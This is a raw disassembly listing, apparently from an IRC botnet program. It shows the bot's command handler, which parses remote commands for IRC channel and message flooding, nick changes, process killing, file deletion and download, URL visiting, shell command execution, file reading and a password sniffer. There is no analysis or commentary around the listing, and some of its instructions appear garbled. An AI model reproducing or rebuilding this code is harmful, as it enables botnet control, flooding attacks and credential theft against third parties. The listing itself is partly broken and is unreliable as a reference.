		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 26A044Bh
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	near ptr 26B0C98h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A044Bh
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	near ptr 26A044Bh
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A044Bh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		call	near ptr 26A04ABh
		nop
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


